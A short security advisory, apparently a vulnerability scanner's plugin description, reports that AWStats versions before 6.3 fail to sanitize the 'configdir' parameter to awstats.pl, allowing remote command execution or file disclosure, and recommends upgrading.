- The remote host is running AWStats, a free real-time logfile analyzer.

- The remote version of this software is prone to an input validation
- vulnerability.
-
- The issue is reported to exist because user supplied 'configdir' URI data passed
- to the 'awstats.pl' script is not sanitized.
-
- An attacker may exploit this condition to execute commands remotely or disclose
- contents of web server readable files.
-
- Solution : Upgrade at least to version 6.3 of this software
